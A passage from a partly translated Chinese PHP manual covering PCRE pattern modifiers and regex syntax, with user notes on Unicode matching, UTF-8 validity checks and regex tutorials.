       return strcmp($str, $matches[0]) != 0;
   return false;
}
Ned Baldessin
24-Oct-2004 09:08
If you want to perform regular expressions on Unicode strings, the PCRE functions will NOT be of any help. You need to use the Multibyte extension : mb_ereg(), mb_eregi(), pb_ereg_replace() and so on. When doing so, be carefull to set the default text encoding to the same encoding used by the text you are searching and replacing in. You can do that with the mb_regex_encoding() function. You will probably also want to set the default encoding for the other mb_* string functions with mb_internal_encoding().

So when dealing with, say, french text, I start with these :
<?php
mb_internal_encoding('UTF-8');
mb_regex_encoding('UTF-8');
setlocale(LC_ALL, 'fr-fr');
?>
steve at stevedix dot de
20-Jul-2004 08:17
Something to bear in mind is that regex is actually a declarative programming language like prolog : your regex is a set of rules which the regex interpreter tries to match against a string.  During this matching, the interpreter will assume certain things, and continue assuming them until it comes up against a failure to match, which then causes it to backtrack.  Regex assumes "greedy matching" unless explicitly told not to, which can cause a lot of backtracking.  A general rule of thumb is that the more backtracking, the slower the matching process.

It is therefore vital, if you are trying to optimise your program to run quickly (and if you can't do without regex), to optimise your regexes to match quickly.

I recommend the use of a tool such as "The Regex Coach" to debug your regex strings.

http://weitz.de/files/regex-coach.exe (Windows installer) http://weitz.de/files/regex-coach.tgz (Linux tar archive)
Snobord787 at msn dot com
14-Jan-2004 10:51
http://gnosis.cx/publish/programming/regular_expressions.html
Best site I have ever seen uses images to help you
Biju
21-Sep-2003 12:00
Regular Expressions Tutorial from non PHP sites
   http://www.amk.ca/python/howto/regex/
   http://sitescooper.org/tao_regexps.html
   http://www.english.uga.edu/humcomp/perl/regex2a.html
   http://www.english.uga.edu/humcomp/perl/regexps.html
   http://www.english.uga.edu/humcomp/perl/regular_expressions.HTML
   http://www.english.uga.edu/humcomp/perl/
   http://java.sun.com/docs/books/tutorial/extra/regex/
   http://gnosis.cx/publish/programming/regular_expressions.html
   http://www.zvon.org/other/PerlTutorial/Books/Book1/
   http://it.metr.ou.edu/regex/
   http://www.regular-expressions.info/
hrz at geodata dot soton dot ac dot uk
07-Mar-2002 03:33
If you're venturing into new regular expression territory with a lack of useful examples then it would pay to get familiar with this page:

http://www.pcre.org/man.txt
add a note add a note

后退 | 起点 | 前进
rar_open | 上一级 | 模式修正符


模式修正符

模式修正符 -- 解说正则表达式模式中使用的修正符

说明

下面列出了当前在 PCRE 中可能使用的修正符。括号中是这些修正符的内部 PCRE 名。修正符中的空格和换行被忽略，其它字符会导致错误。

i (PCRE_CASELESS)

如果设定此修正符，模式中的字符将同时匹配大小写字母。

m（PCRE_MULTILINE）

默认情况下，PCRE 将目标字符串作为单一的一“行”字符所组成的（甚至其中包含有换行符也是如此）。“行起始”元字符（^）仅仅匹配字符串的起始，“行结束”元字符（$）仅仅匹配字符串的结束，或者最后一个字符是换行符时其前面（除非设定了 D 修正符）。这和 Perl 是一样的。

当设定了此修正符，“行起始”和“行结束”除了匹配整个字符串开头和结束外，还分别匹配其中的换行符的之后和之前。这和 Perl 的 /m 修正符是等效的。如果目标字符串中没有“\n”字符或者模式中没有 ^ 或 $，则设定此修正符没有任何效果。

s（PCRE_DOTALL）

如果设定了此修正符，模式中的圆点元字符（.）匹配所有的字符，包括换行符。没有此设定的话，则不包括换行符。这和 Perl 的 /s 修正符是等效的。排除字符类例如 [^a] 总是匹配换行符的，无论是否设定了此修正符。

x（PCRE_EXTENDED）

如果设定了此修正符，模式中的空白字符除了被转义的或在字符类中的以外完全被忽略，在未转义的字符类之外的 # 以及下一个换行符之间的所有字符，包括两头，也都被忽略。这和 Perl 的 /x 修正符是等效的，使得可以在复杂的模式中加入注释。然而注意，这仅适用于数据字符。空白字符可能永远不会出现于模式中的特殊字符序列，例如引入条件子模式的序列 (?( 中间。

e

如果设定了此修正符，preg_replace() 在替换字符串中对逆向引用作正常的替换，将其作为 PHP 代码求值，并用其结果来替换所搜索的字符串。

只有 preg_replace() 使用此修正符，其它 PCRE 函数将忽略之。

注: 本修正符在 PHP3 中不可用。

A（PCRE_ANCHORED）

如果设定了此修正符，模式被强制为“anchored”，即强制仅从目标字符串的开头开始匹配。此效果也可以通过适当的模式本身来实现（在 Perl 中实现的唯一方法）。

D（PCRE_DOLLAR_ENDONLY）

如果设定了此修正符，模式中的美元元字符仅匹配目标字符串的结尾。没有此选项时，如果最后一个字符是换行符的话，美元符号也会匹配此字符之前（但不会匹配任何其它换行符之前）。如果设定了 m 修正符则忽略此选项。Perl 中没有与其等价的修正符。

S

当一个模式将被使用若干次时，为加速匹配起见值得先对其进行分析。如果设定了此修正符则会进行额外的分析。目前，分析一个模式仅对没有单一固定起始字符的 non-anchored 模式有用。

U（PCRE_UNGREEDY）

本修正符反转了匹配数量的值使其不是默认的重复，而变成在后面跟上“?”才变得重复。这和 Perl 不兼容。也可以通过在模式之中设定 (?U) 修正符或者在数量符之后跟一个问号（如 .*?）来启用此选项。

X（PCRE_EXTRA）

此修正符启用了一个 PCRE 中与 Perl 不兼容的额外功能。模式中的任何反斜线后面跟上一个没有特殊意义的字母导致一个错误，从而保留此组合以备将来扩充。默认情况下，和 Perl 一样，一个反斜线后面跟一个没有特殊意义的字母被当成该字母本身。当前没有其它特性受此修正符控制。

u（PCRE_UTF8）

此修正符启用了一个 PCRE 中与 Perl 不兼容的额外功能。模式字符串被当成 UTF-8。本修正符在 Unix 下自 PHP 4.1.0 起可用，在 win32 下自 PHP 4.2.3 起可用。自 PHP 4.3.5 起开始检查模式的 UTF-8 合法性。

add a note add a note User Contributed Notes
varrah NO_GARBAGE_OR_SPAM AT mail DOT ru
03-Nov-2005 08:12
Spent a few days, trying to understand how to create a pattern for Unicode chars, using the hex codes. Finally made it, after reading several manuals, that weren't giving any practical PHP-valid examples. So here's one of them:

For example we would like to search for Japanese-standard circled numbers 1-9 (Unicode codes are 0x2460-0x2468) in order to make it through the hex-codes the following call should be used:
preg_match('/[\x{2460}-\x{2468}]/u', $str);

Here $str is a haystack string
\x{hex} - is an UTF-8 hex char-code
and /u is used for identifying the class as a class of Unicode chars.

Hope, it'll be useful.
hfuecks at nospam dot org
15-Jul-2005 10:14
Regarding the validity of a UTF-8 string when using the /u pattern modifier, some things to be aware of;

1. If the pattern itself contains an invalid UTF-8 character, you get an error (as mentioned in the docs above - "UTF-8 validity of the pattern is checked since PHP 4.3.5"

2. When the subject string contains invalid UTF-8 sequences / codepoints, it basically result in a "quiet death" for the preg_* functions, where nothing is matched but without indication that the string is invalid UTF-8

3. PCRE regards five and six octet UTF-8 character sequences as valid (both in patterns and the subject string) but these are not supported in Unicode ( see section 5.9 "Character Encoding" of the "Secure Programming for Linux and Unix HOWTO" - can be found at http://www.tldp.org/ and other places )

4. For an example algorithm in PHP which tests the validity of a UTF-8 string (and discards five / six octet sequences) head to: http://hsivonen.iki.fi/php-utf8/

The following script should give you an idea of what works and what doesn't;

<?php
$examples = array(
   'Valid ASCII' => "a",
   'Valid 2 Octet Sequence' => "\xc3\xb1",
   'Invalid 2 Octet Sequence' => "\xc3\x28",
   'Invalid Sequence Identifier' => "\xa0\xa1",
   'Valid 3 Octet Sequence' => "\xe2\x82\xa1",
   'Invalid 3 Octet Sequence (in 2nd Octet)' => "\xe2\x28\xa1",
   'Invalid 3 Octet Sequence (in 3rd Octet)' => "\xe2\x82\x28",

   'Valid 4 Octet Sequence' => "\xf0\x90\x8c\xbc",
   'Invalid 4 Octet Sequence (in 2nd Octet)' => "\xf0\x28\x8c\xbc",
   'Invalid 4 Octet Sequence (in 3rd Octet)' => "\xf0\x90\x28\xbc",
   'Invalid 4 Octet Sequence (in 4th Octet)' => "\xf0\x28\x8c\x28",
   'Valid 5 Octet Sequence (but not Unicode!)' => "\xf8\xa1\xa1\xa1\xa1",
   'Valid 6 Octet Sequence (but not Unicode!)' => "\xfc\xa1\xa1\xa1\xa1\xa1",
);

echo "++Invalid UTF-8 in pattern\n";
foreach ( $examples as $name => $str ) {
   echo "$name\n";
   preg_match("/".$str."/u",'Testing');
}

echo "++ preg_match() examples\n";
foreach ( $examples as $name => $str ) {

   preg_match("/\xf8\xa1\xa1\xa1\xa1/u", $str, $ar);
   echo "$name: ";

   if ( count($ar) == 0 ) {
       echo "Matched nothing!\n";
   } else {
       echo "Matched {$ar[0]}\n";
   }

}

echo "++ preg_match_all() examples\n";
foreach ( $examples as $name => $str ) {
   preg_match_all('/./u', $str, $ar);
   echo "$name: ";

   $num_utf8_chars = count($ar[0]);
   if ( $num_utf8_chars == 0 ) {
       echo "Matched nothing!\n";
   } else {
       echo "Matched $num_utf8_chars character\n";
   }

}
?>
csaba at alum dot mit dot edu
09-Apr-2005 08:40
Extracting lines of text:

You might want to grab a line of text within a multiline piece of text.  For example, suppose you want to replace the first and last lines within the <body> portion of a web $page with your own $lineFirst and $lineLast.  Here's one possible way:

<?php
$lineFirst = "This is a new first line<br>\r\n";
$lineLast  = "This is a new last line<br>\r\n";
$page = <<<EOD
<html><head>
<title>This is a test page</title>
</head><body>
This is the first line<br>
Hi Fred<br>
Hi Bill<br>
This is the last line<br>
</body>
</html>
EOD;
$re = "/<body>.*^(.+)(^.*?^)(.+)(^<\\/body>.*?)/smU";
if (preg_match($re, $page, $aMatch, PREG_OFFSET_CAPTURE))
$newPage = substr($text, 0, $aMatch[1][1]) .
           $lineFirst . $aMatch[2][0] .
           $lineLast . $aMatch[4][0];
print $newPage;
?>

The two (.+) are supposed to match the first and last lines within the <body> tag.  The /s option (dot all) is needed so the .* can also match newlines.  The /m option (multiline) is needed so that the ^ can match newlines.  The /U option (ungreedy) is needed so that the .* and .+ will only gobble up the minimum number of characters necessary to get to the character following the * or +.  The exception to this, however, is that the .*? temporarily overrides the /U setting on .* turning it from non greedy to greedy.  In the middle, this ensures that all the lines except the first and last (within the <body> tag) are put into $aMatch[2].  At the end, it ensures that all the remaining characters in the string are gobbled up, which could also have been achieved by .*)\\z/ instead of .*?)/

Csaba Gabor from Vienna
add a note add a note

后退 | 起点 | 前进
Perl 兼容正则表达式函数 | 上一级 | 模式语法


模式语法

模式语法 -- 解说 Perl 兼容正则表达式的语法

说明

PCRE 库是一组用和 Perl 5 相同的语法和语义实现了正则表达式模式匹配的函数，不过有少许区别（见下面）。当前 PCRE 的实现是与 Perl 5.005 相符的。

与 Perl 的区别

这里谈到的区别是就 Perl 5.005 来说的。

  1. 默认情况下，空白字符是 C 语言库函数 isspace() 所能识别的任何字符，尽管有可能与别的字符类型表编译在一起。通常 isspace() 匹配空格，换页符，换行符，回车符，水平制表符和垂直制表符。Perl 5 不再将垂直制表符包括在空白字符中了。事实上长久以来存在于 Perl 文档中的转义序列 \v 从未被识别过，不过该字符至少到 5.002 为止都被当成空白字符的。在 5.004 和 5.005 中 \s 不匹配此字符。

  2. PCRE 不允许在向前断言中使用重复的数量符。Perl 允许这样，但可能不是你想象中的含义。例如，(?!a){3} 并不是断言下面三个字符不是“a”，而是断言下一个字符不是“a”三次。

  3. 捕获出现在排除模式断言中的子模式虽然被计数，但并未在偏移向量中设定其条目。Perl 在匹配失败前从此种模式中设定其数字变量，但只在排触摸式断言只包含一个分支时。

  4. 尽管目标字符串中支持二进制的零字符，但不能出现在模式字符串中，因为它被当作普通的 C 字符串传递，以二进制零终止。转义序列“\\x00”可以在模式中用来表示二进制零。

  5. 不支持下列 Perl 转义序列：\l，\u，\L，\U。事实上这些是由 Perl 的字符串处理来实现的，并不是模式匹配引擎的一部分。

  6. 不支持 Perl 的 \G 断言，因为这和单个的模式匹配无关。

  7. 很明显，PCRE 不支持 (?{code}) 结构。

  8. 当部分模式重复的时候，有关 Perl 5.005_02 捕获字符串的设定有些古怪的地方。举例说，用模式 /^(a(b)?)+$/ 去匹配 "aba" 会将 $2 设为 "b"，但是用模式 /^(aa(bb)?)+$/ 去匹配 "aabbaa" 会使 $2 无值。然而，如果把模式改成 /^(aa(b(b))?)+$/，则 $2（和 $3）就有值了。在 Perl 5.004 中以上两种情况下 $2 都会被赋值，在 PCRE 中也是 TRUE。如果以后 Perl 改了，PCRE 可能也会跟着改。

  9. 另一个未解决的矛盾是 Perl 5.005_02 中模式 /^(a)?(?(1)a|b)+$/ 能匹配上字符串 "a"，但是 PCRE 不会。然而，在 Perl 和 PCRE 中用 /^(a)?a/ 去匹配 "a" 会使 $1 没有值。

  10. PCRE 提供了一些对 Perl 正则表达式机制的扩展：

    1. 尽管向后断言必须匹配固定长度字符串，但每个向后断言的分支可以匹配不同长度的字符串。Perl 5.005 要求所有分支的长度相同。

    2. 如果设定了 PCRE_DOLLAR_ENDONLY 而没有设定 PCRE_MULTILINE，则 $ 元字符只匹配字符串的最末尾。

    3. 如果设定了 PCRE_EXTRA，反斜线后面跟一个没有特殊含义的字母会出错。

    4. 如果设定了 PCRE_UNGREEDY，则重复的数量符的 greed 被反转，即，默认时不是 greedy，但如果后面跟上一个问号就变成 greedy 了。

正则表达式详解

介绍

下面说明 PCRE 所支持的正则表达式的语法和语义。Perl 文档和很多其它书中也解说了正则表达式，有的书中有很多例子。Jeffrey Friedl 写的“Mastering Regular Expressions”，由 O'Reilly 出版社发行（ISBN 1-56592-257-3），包含了大量细节。这里的说明只是个参考文档。

正则表达式是从左向右去匹配目标字符串的一组模式。大多数字符在模式中表示它们自身并匹配目标中相应的字符。作为一个小例子，模式 The quick brown fox 匹配了目标字符串中与其完全相同的一部分。

元字符

正则表达式的威力在于其能够在模式中包含选择和循环。它们通过使用元字符来编码在模式中，元字符不代表其自身，它们用一些特殊的方式来解析。

有两组不同的元字符：一种是模式中除了方括号内都能被识别的，还有一种是在方括号内被识别的。方括号之外的元字符有这些：

\

有数种用途的通用转义符

^

断言目标的开头（或在多行模式下行的开头，即紧随一换行符之后）

$

断言目标的结尾（或在多行模式下行的结尾，即紧随一换行符之前）

.

匹配除了换行符外的任意一个字符（默认情况下）

[

字符类定义开始

]

字符类定义结束

|

开始一个多选一的分支

(

子模式开始

)

子模式结束

?

扩展 ( 的含义，也是 0 或 1 数量限定符，以及数量限定符最小值

*

匹配 0 个或多个的数量限定符

+

匹配 1 个或多个的数量限定符

{

最少／最多数量限定开始

}

最少／最多数量限定结束

模式中方括号内的部分称为“字符类”。字符类中可用的元字符为：

\

通用转义字符

^

排除字符类，但仅当其为第一个字符时有效

-

指出字符范围

]

结束字符类

以下说明了每一个元字符的用法。

反斜线（\）

反斜线字符有几种用途。首先，如果其后跟着一个非字母数字字符，则取消该字符可能具有的任何特殊含义。此种将反斜线用作转义字符的用法适用于无论是字符类之中还是之外。

例如，如果想匹配一个“*”字符，则在模式中用“\*”。这适用于无论下一个字符是否会被当作元字符来解释，因此在非字母数字字符之前加上一个“\”来指明该字符就代表其本身总是安全的。尤其是，如果要匹配一个反斜线，用“\\”。

如果模式编译时加上了 PCRE_EXTENDED 选项，模式中的空白字符（字符类中以外的）以及字符类之外的“#”到换行符之间的字符都被忽略。可以用转义的反斜线将空白字符或者“#”字符包括到模式中去。

反斜线的第二种用途提供了一种在模式中以可见方式去编码不可打印字符的方法。并没有不可打印字符出现的限制，除了代表模式结束的二进制零以外。但用文本编辑器来准备模式的时候，通常用以下的转义序列来表示那些二进制字符更容易一些：

\a

alarm，即 BEL 字符（0x07）

\cx

"control-x"，其中 x 是任意字符

\e

escape（0x1B）

\f

换页符 formfeed（0x0C）

\n

换行符 newline（0x0A）

\r

回车符 carriage return（0x0D）

\t

制表符 tab（0x09）

\xhh

十六进制代码为 hh 的字符

\ddd

八进制代码为 ddd 的字符，或 backreference

“\cx”的精确效果如下：如果“x”是小写字母，则被转换为大写字母。接着字符中的第 6 位（0x40）被反转。从而“\cz”成为 0x1A，但“\c{”成为 0x3B，而“\c;”成为 0x7B。

在“\x”之后最多再读取两个十六进制数字（其中的字母可以是大写或小写）。在 UTF-8 模式下，允许用“\x{...}”，花括号中的内容是表示十六进制数字的字符串。原来的十六进制转义序列 \xhh 如果其值大于 127 的话则匹配了一个双字节 UTF-8 字符。

在“\0”之后最多再读取两个八进制数字。以上两种情况下，如果少于两个数字，则只使用已出现的。因此序列“\0\x\07”代表两个二进制的零加一个 BEL 字符。如果是八进制数字则确保在开始的零后面再提供两个数字。

处理反斜线后面跟着一个不是 0 的数字比较复杂。在字符类之外，PCRE 以十进制数字读取该数字及其后面的数字。如果数字小于 10，或者之前表达式中捕获到至少该数字的左圆括号，则这个序列将被作为逆向引用。有关此如何运作的说明在后面，以及括号内的子模式。

在字符类之中，或者如果十进制数字大于 9 并且之前没有那么多捕获的子模式，PCRE 重新从反斜线开始读取其后的最多三个八进制数字，并以最低位的 8 个比特产生出一个单一字节。任何其后的数字都代表自身。例如：

\040

另一种表示空格的方法

\40

同上，如果之前捕获的子模式少于 40 个的话

\7

总是一个逆向引用

\11

可能是个逆向引用，或者是制表符 tab

\011

总是表示制表符 tab

\0113

表示制表符 tab 后面跟着一个字符“3”

\113

表示八进制代码为 113 的字符（因为不能超过 99 个逆向引用）

\377

表示一个所有的比特都是 1 的字节

\81

要么是一个逆向引用，要么是一个二进制的零后面跟着两个字符“8”和“1”

注意八进制值 100 或更大的值之前不能以零打头，因为不会读取（反斜线后）超过三个八进制数字。

所有的定义了一个单一字节的序列可以用于字符类之中或之外。此外，在字符类之中，序列“\b”被解释为反斜线字符（0x08），而在字符类之外有不同含义（见下面）。

反斜线的第三个用法是指定通用字符类型：

\d

任一十进制数字

\D

任一非十进制数的字符

\s

任一空白字符

\S

任一非空白字符

\w

任一“字”的字符

\W

任一“非字”的字符

任何一个转义序列将完整的字符组合分割成两个分离的部分。任一给定的字符匹配一个且仅一个转义序列。

“字”的字符是指任何一个字母或数字或下划线，也就是说，任何可以是 Perl "word" 的字符。字母和数字的定义由 PCRE 字符表控制，可能会根据指定区域的匹配而改变（见上面的“区域支持”）。举例说，在 "fr" (French) 区域，某些编码大于 128 的字符用来表示重音字母，这些字符能够被 \w 所匹配。

这些字符类型序列可以出现在字符类之中和之外。每一个匹配相应类型中的一个字符。如果当前匹配点在目标字符串的结尾，以上所有匹配都失败，因为没有字符可供匹配。

反斜线的第四个用法是某些简单的断言。断言是指在一个匹配中的特定位置必须达到的条件，并不会消耗目标字符串中的任何字符。子模式中更复杂的断言的用法在下面描述。反斜线的断言有：

\b

字分界线

\B

非字分界线

\A

目标的开头（独立于多行模式）

\Z

目标的结尾或位于结尾的换行符前（独立于多行模式）

\z

目标的结尾（独立于多行模式）

\G

目标中的第一个匹配位置

这些断言可能不能出现在字符类中（但是注意 "\b" 有不同的含义，在字符类之中也就是反斜线字符）。

字边界是目标字符串中的一个位置，其当前字符和前一个字符不能同时匹配 \w 或者 \W（也就是其中一个匹配 \w 而另一个匹配 \W），或者是字符串的开头或结尾，假如第一个或最后一个字符匹配 \w 的话。

\A，\Z 和 \z 断言与传统的音调符和美元符（下面说明）的不同之处在于它们仅匹配目标字符串的绝对开头和结尾而不管设定了任何选项。它们不受 PCRE_NOTBOL 或 PCRE_NOTEOL 选项的影响。\Z 和 \z 的不同之处在于 \Z 匹配了作为字符串最后一个字符的换行符之前以及字符串的结尾，而 \z 仅匹配字符串的结尾。

The \G assertion is true only when the current matching position is at the start point of the match, as specified by the offset argument of preg_match(). It differs from \A when the value of offset is non-zero. It is available since PHP 4.3.3.

\Q and \E can be used to ignore regexp metacharacters in the pattern since PHP 4.3.3. For example: \w+\Q.$.\E$ will match one or more word characters, followed by literals .$. and anchored at the end of the string.

Unicode character properties

Since PHP 4.4.0 and 5.1.0, three additional escape sequences to match generic character types are available when UTF-8 mode is selected. They are:

\p{xx}

a character with the xx property

\P{xx}

a character without the xx property

\X

an extended Unicode sequence

The property names represented by xx above are limited to the Unicode general category properties. Each character has exactly one such property, specified by a two-letter abbreviation. For compatibility with Perl, negation can be specified by including a circumflex between the opening brace and the property name. For example, \p{^Lu} is the same as \P{Lu}.

If only one letter is specified with \p or \P, it includes all the properties that start with that letter. In this case, in the absence of negation, the curly brackets in the escape sequence are optional; these two examples have the same effect:

\p{L}
\pL

表格 1. Supported property codes

C | Other
Cc | Control
Cf | Format
Cn | Unassigned
Co | Private use
Cs | Surrogate
L | Letter
Ll | Lower case letter
Lm | Modifier letter
Lo | Other letter
Lt | Title case letter
Lu | Upper case letter
M | Mark
Mc | Spacing mark
Me | Enclosing mark
Mn | Non-spacing mark
N | Number
Nd | Decimal number
Nl | Letter number
No | Other number
P | Punctuation
Pc | Connector punctuation
Pd | Dash punctuation
Pe | Close punctuation
Pf | Final punctuation
Pi | Initial punctuation
Po | Other punctuation
Ps | Open punctuation
S | Symbol
Sc | Currency symbol
Sk | Modifier symbol
Sm | Mathematical symbol
So | Other symbol
Z | Separator
Zl | Line separator
Zp | Paragraph separator
Zs | Space separator

Extended properties such as "Greek" or "InMusicalSymbols" are not supported by PCRE.

Specifying caseless matching does not affect these escape sequences. For example, \p{Lu} always matches only upper case letters.

The \X escape matches any number of Unicode characters that form an extended Unicode sequence. \X is equivalent to (?>\PM\pM*).

That is, it matches a character without the "mark" property, followed by zero or more characters with the "mark" property, and treats the sequence as an atomic group (see below). Characters with the "mark" property are typically accents that affect the preceding character.

Matching characters by Unicode property is not fast, because PCRE has to search a structure that contains data for over fifteen thousand characters. That is why the traditional escape sequences such as \d and \w do not use Unicode properties in PCRE.

音调符（^）和美元符（$）

在字符类之外，默认匹配模式下，音调符是一个仅在当前匹配点是目标字符串的开头时才为真的断言。在字符类之中，音调符的含义完全不同（见下面）。

如果涉及到几选一时音调符不需要是模式的第一个字符，但如果出现在某个分支中则应该是该选择分支的第一个字符。如果所有的选择分支都以音调符开头，这就是说，如果模式限制为只匹配目标的开头，那么这是一个紧固模式。（也有其它结构可以使模式成为紧固的。）

美元符是一个仅在当前匹配点是目标字符串的结尾或者当最后一个字符是换行符时其前面的位置时为 TRUE 的断言（默认情况下）。如果涉及到几选一时美元符不需要是模式的最后一个字符，但应该是其出现的分支中的最后一个字符。美元符在字符类之中没有特殊含义。

美元符的含义可被改变使其仅匹配字符串的结尾，只要在编译或匹配时设定了 PCRE_DOLLAR_ENDONLY 选项即可。这并不影响 \Z 断言。

如果设定了 PCRE_MULTILINE 选项则音调符和美元符的含义被改变了。此种情况下，它们分别匹配紧接着内部 "\n" 字符的之后和之前，再加上目标字符串的开头和结尾。例如模式 /^abc$/ 在多行模式下匹配了目标字符串 "def\nabc"，但正常时不匹配。因此，由于所有分支都以 "^" 开头而在单行模式下成为紧固的模式在多行模式下为非紧固的。如果设定了 PCRE_MULTILINE，则 PCRE_DOLLAR_ENDONLY 选项会被忽略。

注意 \A，\Z 和 \z 序列在两种情况下都可以用来匹配目标的开头和结尾，如果模式所有的分支都以 \A 开始则其总是紧固的，不论是否设定了 PCRE_MULTILINE。

句号（.）

在字符类之外，模式中的圆点可以匹配目标中的任何一个字符，包括不可打印字符，但不匹配换行符（默认情况下）。如果设定了 PCRE_DOTALL 则圆点也会匹配换行符。处理圆点与处理音调符和美元符是完全独立的，唯一的联系就是它们都涉及到换行符。圆点在字符类之中没有特殊含义。

\C 可以用来匹配单一字节。在 UTF-8 模式下这有意义，因为句号可以匹配由多个字节组成的整个字符。

方括号（[]）

左方括号开始了一个字符类，右方括号结束之。单独一个右方括号不是特殊字符。如果在字符类之中需要一个右方括号，则其应该是字符类中的第一个字符（如果有音调符的话，则紧接音调符之后），或者用反斜线转义。

字符类匹配目标中的一个字符，该字符必须是字符类定义的字符集中的一个；除非字符类中的第一个字符是音调符，此情况下目标字符必须不在字符类定义的字符集中。如果在字符类中需要音调符本身，则其必须不是第一个字符，或用反斜线转义。

举例说，字符类 [aeiou] 匹配了任何一个小写元音字母，而 [^aeiou] 匹配了任何一个不是小写元音字母的字符。注意音调符只是一个通过枚举指定那些不在字符类之中的字符的符号。不是断言：仍旧会消耗掉目标字符串中的一个字符，如果当前位置在字符串结尾的话则失败。

当设定了不区分大小写的匹配时，字符类中的任何字母同时代表了其大小写形式，因此举例说，小写的 [aeiou] 同时匹配了 "A" 和 "a"，小写的 [^aeiou] 不匹配 "A"，但区分大小写时则会匹配。

换行符在字符类中不会特殊对待，不论 PCRE_DOTALL 或者 PCRE_MULTILINE 选项设定了什么值。形如 [^a] 的字符类总是能够和换行符相匹配的。

减号（-）字符可以在字符类中指定一个字符范围。例如，[d-m] 匹配了 d 和 m 之间的任何字符，包括两者。如果字符类中需要减号本身，则必须用反斜线转义或者放到一个不能被解释为指定范围的位置，典型的位置是字符类中的第一个或最后一个字符。

字面上的 "]" 不可能被当成字符范围的结束。形如 [W-]46] 的模式会被解释为包括两个字符的字符类（"W" and "-"）后面跟着字符串 "46]"，因此其会匹配 "W46]" 或者 "-46]"。然而，如果将 "]" 用反斜线转义，则会被当成范围的结束来解释。因此 [W-\]46] 会被解释为一个字符类，包含有一个范围以及两个单独的字符。八进制或十六进制表示的 "]" 也可以用来表示范围的结束。

范围是以 ASCII 比较顺序来操作的。也可以用于用数字表示的字符，例如 [\000-\037]。在不区分大小写匹配中如果范围里包括了字母，则同时匹配大小写字母。例如 [W-c] 等价于 [][\^_`wxyzabc] 不区分大小写地匹配。如果使用了 "fr" 区域的字符表，[\xc8-\xcb] 匹配了大小写的重音 E 字符。

字符类型 \d，\D，\s，\S，\w 和 \W 也可以出现于字符类中，并将其所能匹配的字符添加进字符类中。例如，[\dABCDEF] 匹配了任何十六进制数字。用音调符可以很方便地制定严格的字符集，例如 [^\W_] 匹配了任何字母或数字，但不匹配下划线。

任何除了 \，-，^（位于开头）以及结束的 ] 之外的非字母数字字符在字符类中都没有特殊含义，但是将它们转义也没有坏处。

竖线（|）

竖线字符用来分隔多选一模式。例如，模式：
gilbert|sullivan
匹配了 "gilbert" 或者 "sullivan" 中的一个。可以有任意多个分支，也可以有空的分支（匹配空字符串）。匹配进程从左到右轮流尝试每个分支，并使用第一个成功匹配的分支。如果分支在子模式（在下面定义）中，则“成功匹配”表示同时匹配了子模式中的分支以及主模式的其它部分。

内部选项设定

PCRE_CASELESS，PCRE_MULTILINE，PCRE_DOTALL，PCRE_EXTRA 和 PCRE_EXTENDED 的设定可以在模式内部通过包含在 "(?" 和 ")" 之间的 Perl 选项字母序列来改变。选项字母为：

表格 2. 内部选项字母

i | 代表 PCRE_CASELESS
m | 代表 PCRE_MULTILINE
s | 代表 PCRE_DOTALL
x | 代表 PCRE_EXTENDED
U | 代表 PCRE_UNGREEDY
X | 代表 PCRE_EXTRA

例如，(?im) 设定了不区分大小写，多行匹配。也可以通过在字母前加上减号来取消这些选项。例如组合的选项 (?im-sx)，设定了 PCRE_CASELESS 和 PCRE_MULTILINE，并取消了 PCRE_DOTALL 和 PCRE_EXTENDED。如果一个字母在减号之前与之后都出现了，则该选项被取消设定。

如果选项改变出现于顶层（即不在子模式的括号中），则改变应用于其后的剩余模式。因此 /ab(?i)c/ 只匹配 "abc" 和 and "abC"。此行为是自 PHP 4.3.3 起绑定的 PCRE 4.0 中被修改的。在此版本之前 /ab(?i)c/ 的执行与 /abc/i 相同（例如匹配 "ABC" 和 "aBc"）。

如果选项改变出现于子模式中，则效果不同。这是 Perl 5.005 的行为的一个变化。子模式中的选项改变只影响到子模式内部其后的部分，因此 (a(?i)b)c 将只匹配 "abc" 和 "aBc"（假定没有使用 PCRE_CASELESS）。这意味着选项在模式的不同部位可以造成不同的设定。在一个分支中的改变可以传递到同一个子模式中后面的分支中，例如 (a(?i)b|c) 将匹配 "ab"，"aB"，"c" 和 "C"，尽管在匹配 "C" 的时候第一个分支会在选项设定之前就被丢弃。这是因为选项设定的效果是在编译时确定的，否则会造成非常怪异的行为。

PCRE 专用选项 PCRE_UNGREEDY 和 PCRE_EXTRA 可以和 Perl 兼容选项以同样的方式来改变，分别使用字母 U 和 X。(?X) 标记设定有些特殊，它必须出现于任何其它特性之前。最好放在最开头的位置。

子模式

子模式由圆括号定界，可以嵌套。将模式中的一部分标记为子模式可以：

1. 将多选一的分支局部化。例如，模式：
cat(aract|erpillar|)
匹配了 "cat"，"cataract" 或 "caterpillar" 之一，没有圆括号的话将匹配 "cataract"，"erpillar" 或空字符串。

2. 将子模式设定为捕获子模式（如同以前定义的）。当整个模式匹配时，目标字符串中匹配了子模式的部分会通过 pcre_exec() 的 ovector 参数传递回调用者。左圆括号从左到右计数（从 1 开始）以取得捕获子模式的数目。

例如，如果将字符串 "the red king" 来和模式
the ((red|white) (king|queen))
进行匹配，捕获的子串为 "red king"，"red" 以及 "king"，并被计为 1，2 和 3。

The fact that plain parentheses fulfil two functions is not always helpful. There are often times when a grouping subpattern is required without a capturing requirement. If an opening parenthesis is followed by "?:", the subpattern does not do any capturing, and is not counted when computing the number of any subsequent capturing subpatterns. For example, if the string "the white queen" is matched against the pattern the ((?:red|white) (king|queen)) the captured substrings are "white queen" and "queen", and are numbered 1 and 2. The maximum number of captured substrings is 99, and the maximum number of all subpatterns, both capturing and non-capturing, is 200.

As a convenient shorthand, if any option settings are required at the start of a non-capturing subpattern, the option letters may appear between the "?" and the ":". Thus the two patterns

(?i:saturday|sunday)
(?:(?i)saturday|sunday)

match exactly the same set of strings. Because alternative branches are tried from left to right, and options are not reset until the end of the subpattern is reached, an option setting in one branch does affect subsequent branches, so the above patterns match "SUNDAY" as well as "Saturday".

It is possible to name the subpattern with (?P<name>pattern) since PHP 4.3.3. Array with matches will contain the match indexed by the string alongside the match indexed by a number, then.

Repetition

Repetition is specified by quantifiers, which can follow any of the following items:

  • a single character, possibly escaped

  • the . metacharacter

  • a character class

  • a back reference (see next section)

  • a parenthesized subpattern (unless it is an assertion - see below)

